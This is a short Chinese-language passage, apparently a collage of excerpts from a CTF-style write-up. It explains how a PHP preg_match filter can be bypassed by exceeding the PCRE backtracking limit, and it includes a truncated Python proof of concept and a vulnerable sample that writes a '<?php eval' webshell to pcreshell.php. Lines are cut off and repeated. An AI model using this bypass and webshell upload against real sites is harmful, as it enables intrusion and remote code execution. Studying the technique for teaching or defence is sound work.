preg_match 返回的非 1 和 0,而是 false。 如果长度超过了100万,则会返回false 所以我们可以用超过100万的长度来是preg_match语句返回false从而不进入if循环来达到上传文件的目的 poc: import requests from io import BytesIO url = "http://xxx.xxx.xxx/" files = { 'file': BytesIO(b'aaa<?php eval...
// preg_match匹配成功返回int(1),失败返回int(0) 而不是false
php使用的PCRE库使用NFA作为正则引擎 NFA:从起始状态开始,一个一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态 <?php $data=$_REQUEST['data'];if(preg_match('/<\?.*[(`;?>].*/is', $data)){ die("hacker!!!"); } file_put_contents('pcreshell.php',$da...
// preg_match匹配成功返回int(1),失败返回int(0) 而不是false